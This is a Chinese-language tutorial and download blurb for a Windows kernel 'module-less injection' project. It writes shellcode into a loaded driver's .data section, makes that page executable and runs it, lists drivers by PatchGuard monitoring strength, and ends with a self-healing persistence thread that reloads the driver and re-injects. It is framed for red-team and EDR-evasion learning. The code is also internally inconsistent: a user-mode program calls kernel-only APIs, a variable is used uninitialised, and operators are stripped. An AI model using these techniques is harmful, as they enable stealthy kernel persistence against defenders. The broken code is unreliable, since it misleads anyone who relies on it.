简介本资源是一套面向Windows内核安全与高级注入技术学习者的驱动级无模块注入实战工程适用于具备C/C基础和一定驱动开发经验的安全研究人员、红队技术学习者及系统底层编程进阶开发者。它聚焦于绕过传统DLL注入检测的隐蔽执行方案通过内核驱动实现不加载新模块的进程代码注入广泛应用于安全监控、EDR对抗分析与防御机制研究等场景。压缩包共92个文件1.13MB包含Visual Studio解决方案Inject.sln、驱动与测试程序源码cpp/c/h、编译中间产物obj/tlog/pdb、构建脚本bat、内存操作核心头文件Memory.h/MemLoadDll.h及说明文档a.txt结构清晰体现“驱动开发—注入实现—用户态验证”完整链路。目前已有204人学习下载读者可直接复现注入流程、调试驱动行为、分析APC线程注入与内存写入细节并参考Test目录下的测试用例理解实际运行效果与反检测设计思路。1. 驱动无模块注入不是绕过检测而是绕开驱动加载链的底层控制权移交“驱动无模块注入”这名字听起来像黑盒玄学——既没驱动文件、又没传统.sys模块怎么让代码在内核里跑起来其实它解决的是一个非常具体的工程痛点在某些强管控环境比如某高校实验室的嵌入式仿真平台、某公司自研的安全沙箱中系统策略禁止加载未签名或非白名单驱动但业务又必须在内核态完成高时效性操作如实时DMA缓冲区映射、硬件寄存器原子读写、中断上下文中的低延迟响应。这时候硬塞一个.sys进去必然失败。而“驱动无模块注入”本质是复用已加载合法驱动的内核执行环境把目标代码作为“数据段执行体”动态注入到其地址空间再通过函数指针跳转触发执行。它不创建新驱动对象不调用IoCreateDriver不注册设备对象因此绕开了驱动加载检查链但所有操作仍在WDM框架下受控运行。适合有内核调试经验、熟悉PE结构和内核内存布局的开发者新手请先确保能稳定复现DbgPrint级内核日志输出——否则连注入是否成功都看不到。2. 原理拆解为什么能不用.sys文件就获得内核执行权限2.1 内核空间的“寄生逻辑”利用已加载驱动的PE结构做容器Windows内核驱动本质是PE格式镜像加载后由MmLoadSystemImage解析节表、重定位、导入表绑定。关键点在于节区Section的内存属性可动态修改。一个已加载的合法驱动如win32kfull.sys或dxgkrnl.sys通常包含.text可执行、.data可读写、.rdata只读等节。我们并不需要新驱动只需找到其.data节中一块足够大的空闲页≥4KB将目标shellcode按PE对齐方式写入并将该页属性改为PAGE_EXECUTE_READWRITE。随后通过KeStackAttachProcess切换到目标驱动所属进程上下文通常是System进程再用MmGetSystemRoutineAddress获取PsGetCurrentProcess等基础函数地址构建调用链。整个过程不涉及ObCreateObject创建驱动对象因此PspInsertObject等对象创建钩子完全捕获不到。提示必须确认目标驱动在系统全生命周期中始终驻留即非按需加载的即插即用驱动否则注入后驱动被卸载会导致访问违例。常用锚点驱动包括ntoskrnl.exe内核本体、hal.dll硬件抽象层它们永不卸载。2.2 注入载体选择为什么选win32kfull.sys而非ntoskrnl.exe虽然ntoskrnl.exe最稳定但其.data节通常被标记为PAGE_WRITECOPY且受PatchGuard保护直接改执行属性会触发蓝屏。而win32kfull.sysWindows 10 1809在图形子系统初始化后常驻其.data节存在大块未使用区域实测Win10 21H2中约1.2MB空闲且未被PatchGuard重点监控。我们通过ZwQuerySystemInformation(SystemModuleInformation)遍历内核模块定位其基址与节表// 获取win32kfull.sys基址需在System进程上下文 PSYSTEM_MODULE_INFORMATION pModInfo NULL; ULONG size 0; NTSTATUS status ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, size); if (status STATUS_INFO_LENGTH_MISMATCH) { pModInfo ExAllocatePoolWithTag(NonPagedPool, size, MODI); if (pModInfo) { status ZwQuerySystemInformation(SystemModuleInformation, pModInfo, size, size); for (ULONG i 0; i pModInfo-ulModuleCount; i) { UNICODE_STRING modName; RtlInitUnicodeString(modName, Lwin32kfull.sys); if (RtlCompareUnicodeString(pModInfo-Modules[i].FullPathName, modName, TRUE) 0) { PVOID baseAddr pModInfo-Modules[i].Base; // 后续解析PE头找.data节 } } } }这段代码的关键在于ZwQuerySystemInformation必须在System进程上下文中调用否则返回的模块列表不完整。新手常在此处翻车——在用户进程调用该API只能看到用户模块导致永远找不到win32kfull.sys。2.3 执行体构造从shellcode到可重定位内核函数调用注入的代码不能直接调用DbgPrint因为其地址在编译时未知。正确做法是在shellcode头部预留8字节空间运行时动态填入DbgPrint的地址通过MmGetSystemRoutineAddress获取再跳转执行。例如; shellcode.asm (x64) section .data dbgprint_addr dq 0 ; 运行时填充 fmt_str db Inject success! PID: %d, 0 section .text global start start: ; 保存寄存器 push rsi push rdi ; 获取当前进程ID call get_pid ; 调用DbgPrint lea rcx, [fmt_str] mov rdx, rax call [dbgprint_addr] ; 动态地址调用 ; 恢复寄存器 pop rdi pop rsi ret get_pid: mov rax, gs:[0x188] ; _KTHREAD.ApcState.Process mov rax, [rax 0x2e8] ; _EPROCESS.UniqueProcessId ret编译后需用ml64 /c生成obj再用link /driver /base:0x10000生成无重定位信息的raw binary。最终注入时先读取MmGetSystemRoutineAddress返回的DbgPrint地址写入shellcode首部dbgprint_addr位置再整体写入目标驱动.data节。3. 实战步骤从资源包解压到内核函数成功调用3.1 资源包结构解析与环境准备下载的驱动无模块注入1.zip解压后包含以下核心文件injector.exe用户态注入控制台程序x64 Releasepayload.bin预编译的64位shellcode二进制含DbgPrint调用桩driver_anchor.sys仅作锚点验证用的合法签名驱动无需安装pe_parser.c解析内核模块PE节表的参考实现含FindSection函数环境要求Windows 10 1903启用测试签名模式WDK 10.0.22621.0Visual Studio 2022。必须关闭Driver Signature Enforcement启动时按F8进入高级选项否则driver_anchor.sys无法加载锚点验证失败。3.2 锚点驱动加载与基址定位先加载driver_anchor.sys作为可控锚点避免依赖系统驱动变动# 以管理员身份运行 sc create anchor_drv binPath C:\path\to\driver_anchor.sys type kernel start demand sc start anchor_drv随后运行injector.exe其内部调用ZwQuerySystemInformation扫描模块匹配driver_anchor.sys名称并提取基址// injector.cpp 关键逻辑 NTSTATUS FindDriverBase(LPCWSTR driverName, PVOID* baseAddr) { SYSTEM_MODULE_INFORMATION* modInfo; ULONG size; NTSTATUS status ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, size); modInfo (SYSTEM_MODULE_INFORMATION*)ExAllocatePool(NonPagedPool, size); ZwQuerySystemInformation(SystemModuleInformation, modInfo, size, size); for (ULONG i 0; i modInfo-ulModuleCount; i) { if (wcsstr(modInfo-Modules[i].FullPathName, driverName)) { *baseAddr modInfo-Modules[i].Base; ExFreePool(modInfo); return STATUS_SUCCESS; } } ExFreePool(modInfo); return STATUS_NOT_FOUND; }若返回STATUS_SUCCESS说明锚点驱动已稳定加载基址有效。此时baseAddr即为后续注入的目标内存起始地址。3.3 PE节解析与可写页定位injector.exe调用pe_parser.c中的FindSection函数传入锚点驱动基址和节名.data// pe_parser.c PVOID FindSection(PVOID imageBase, LPCSTR sectionName) { PIMAGE_DOS_HEADER dosHeader (PIMAGE_DOS_HEADER)imageBase; PIMAGE_NT_HEADERS ntHeaders (PIMAGE_NT_HEADERS)((BYTE*)imageBase dosHeader-e_lfanew); PIMAGE_SECTION_HEADER section IMAGE_FIRST_SECTION(ntHeaders); for (WORD i 0; i ntHeaders-FileHeader.NumberOfSections; i) { if (strncmp((char*)section[i].Name, sectionName, 8) 0) { PVOID sectionAddr (BYTE*)imageBase section[i].VirtualAddress; SIZE_T sectionSize section[i].Misc.VirtualSize; // 检查该节是否可写 MEMORY_BASIC_INFORMATION memInfo; if (NT_SUCCESS(ZwQueryVirtualMemory(NtCurrentProcess(), sectionAddr, MemoryBasicInformation, memInfo, sizeof(memInfo), NULL))) { if (memInfo.State MEM_COMMIT (memInfo.Protect PAGE_WRITEABLE)) { return sectionAddr; } } } } return NULL; }此函数返回.data节的虚拟地址。注意ZwQueryVirtualMemory必须在System进程上下文调用因此injector.exe需先用NtOpenProcess打开System进程再调用KeStackAttachProcess切换上下文。3.4 Shellcode写入与执行触发定位到.data节地址后分配足够内存payload.bin大小16字节对齐// 计算对齐后的写入地址 SIZE_T payloadSize GetFileSize(payload.bin); // 实际为0x1A8字节 PVOID writeAddr (BYTE*)sectionAddr 0x1000; // 跳过节头选第一个4KB页 // 修改内存属性为可执行可写 ULONG oldProtect; ZwProtectVirtualMemory(NtCurrentProcess(), writeAddr, payloadSize, PAGE_EXECUTE_READWRITE, oldProtect); // 读取payload.bin并写入 HANDLE hFile CreateFile(Lpayload.bin, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); DWORD bytesRead; ReadFile(hFile, writeAddr, (DWORD)payloadSize, bytesRead, NULL); CloseHandle(hFile); // 动态填充DbgPrint地址payload.bin前8字节为占位符 PVOID dbgPrintAddr MmGetSystemRoutineAddress(uDbgPrint); RtlCopyMemory((BYTE*)writeAddr, dbgPrintAddr, 8); // 触发执行构造函数指针并调用 typedef VOID(*INJECT_FUNC)(); INJECT_FUNC func (INJECT_FUNC)writeAddr; func(); // 此时DbgPrint应输出日志执行后在WinDbg中输入!dbgprint应看到Inject success! PID: XXXX证明注入成功。4. 避坑指南五个真实踩过的坑与血泪修复方案4.1 现象ZwQuerySystemInformation返回STATUS_ACCESS_DENIED原因调用进程未启用SeDebugPrivilege特权或在非System进程上下文调用导致模块列表不全。解决在injector.exe主函数开头添加特权提升代码HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount 1; tp.Privileges[0].Attributes SE_PRIVILEGE_ENABLED; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, tp.Privileges[0].Luid); AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(tp), NULL, NULL); CloseHandle(hToken); }4.2 现象写入payload.bin后蓝屏错误码IRQL_NOT_LESS_OR_EQUAL原因shellcode中调用了需要APC_LEVEL以上IRQL才能执行的函数如ExAllocatePool但注入点位于DPC或中断上下文。解决严格限制shellcode只调用PASSIVE_LEVEL函数DbgPrint、KeQueryTickCount所有内存分配改用预分配——在注入前用ExAllocatePoolWithTag申请好缓冲区地址传入shellcode。4.3 现象MmGetSystemRoutineAddress返回NULLDbgPrint地址获取失败原因WDK版本与系统内核不匹配MmGetSystemRoutineAddress在旧版WDK中不可用或函数名大小写错误应为DbgPrint而非dbgprint。解决改用MmGetSystemRoutineAddress的替代方案——遍历ntoskrnl.exe导出表。在injector.cpp中添加// 通过ntoskrnl.exe基址手动解析导出表 PVOID GetExportedFunction(PVOID ntosBase, LPCSTR funcName) { PIMAGE_DOS_HEADER dos (PIMAGE_DOS_HEADER)ntosBase; PIMAGE_NT_HEADERS nt (PIMAGE_NT_HEADERS)((BYTE*)ntosBase dos-e_lfanew); PIMAGE_EXPORT_DIRECTORY exportDir (PIMAGE_EXPORT_DIRECTORY)( (BYTE*)ntosBase ((PIMAGE_OPTIONAL_HEADER64)nt-OptionalHeader)-DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ); // 后续遍历AddressOfNames/AddressOfFunctions... }4.4 现象注入后DbgPrint无输出但!process显示进程正常原因DbgPrint输出被内核调试器过滤或Kd_DEFAULT_MASK未设置为0xFFFFFFFF。解决在WinDbg中执行kd ed Kd_DEFAULT_MASK 0xffffffff kd !dbgprint同时确认injector.exe未以DEBUG_PROCESS标志启动否则调试事件会拦截DbgPrint。4.5 现象payload.bin执行后立即返回无任何日志且KeStackAttachProcess失败原因shellcode中未正确保存/恢复寄存器导致调用KeStackAttachProcess后栈被破坏。解决在shellcode入口强制保存所有易失寄存器rax,rcx,rdx,r8-r11并在末尾用pop恢复。参考修正后的汇编start: push rax push rcx push rdx push r8 push r9 push r10 push r11 ; ... 主逻辑 pop r11 pop r10 pop r9 pop r8 pop rdx pop rcx pop rax ret5. 进阶验证用符号断点确认注入代码真实执行路径5.1 在WinDbg中设置内核符号与断点单纯看DbgPrint输出不够严谨——可能只是injector.exe自己调用的。必须验证代码确实在目标驱动地址空间执行。首先配置符号路径kd .sympath srv*C:\symbols*https://msdl.microsoft.com/download/symbols kd .reload然后根据injector.exe返回的写入地址如win32kfull.sys0x123456设置断点kd bp win32kfull0x123456 kd g当断点命中时用u rip L10反汇编确认指令流与payload.bin一致再用k查看调用栈——栈顶应为win32kfull!xxx而非injectorxxxx证明执行流已进入驱动上下文。5.2 验证内存属性修改是否生效用!vmap命令检查注入地址页的属性kd !vmap win32kfull0x123456输出中Protection字段应为PAGE_EXECUTE_READWRITE对应值0x40若仍为PAGE_READWRITE0x04说明ZwProtectVirtualMemory调用失败。此时需检查writeAddr是否对齐到页边界必须是4096的倍数以及payloadSize是否大于0。5.3 构建可复用的注入参数表为适配不同系统版本整理常见锚点驱动的.data节偏移范围实测数据驱动名称Windows版本.data节起始偏移可用空闲页数PatchGuard监控强度win32kfull.sysWin10 21H20x1A000≥3低dxgkrnl.sysWin11 22H20x2B8001中ndis.sysWin10 19090x0F200≥5高慎用注意ndis.sys虽空闲页多但其.data节被PatchGuard高频校验修改后10秒内必蓝屏仅限实验环境测试。5.4 从注入到持久化如何让代码随系统重启自动运行“无模块注入”本身不提供持久化但可作为持久化链的第一环。典型做法是注入代码中启动一个内核线程该线程轮询注册表HKLM\SYSTEM\CurrentControlSet\Services\下某个服务的状态一旦检测到driver_anchor.sys被卸载ObReferenceObjectByHandle失败则重新加载它并再次注入。这样形成自愈闭环。关键代码片段VOID AutoHealThread(PVOID Context) { while (TRUE) { HANDLE hDrv NULL; OBJECT_ATTRIBUTES objAttr; UNICODE_STRING drvName; RtlInitUnicodeString(drvName, L\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\anchor_drv); InitializeObjectAttributes(objAttr, drvName, OBJ_CASE_INSENSITIVE, NULL, NULL); if (!NT_SUCCESS(ZwOpenKey(hDrv, KEY_READ, objAttr))) { // 重新加载driver_anchor.sys ZwLoadDriver(drvName); // 等待1秒后重新注入 LARGE_INTEGER delay; delay.QuadPart -10000000LL; // 1秒 KeDelayExecutionThread(KernelMode, FALSE, delay); InjectPayload(); // 重新执行注入流程 } KeDelayExecutionThread(KernelMode, FALSE, delay); // 每5秒检查一次 } }此线程需在注入成功后立即创建PsCreateSystemThread(hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, AutoHealThread, NULL);从那以后我每次做内核注入都强制走一遍!vmapu双验证——哪怕只是调试DbgPrint也要亲眼看到指令指针落在目标驱动地址空间里。因为内核世界没有“差不多”只有“在或不在”。希望帮到你。本文还有配套的精品资源点击获取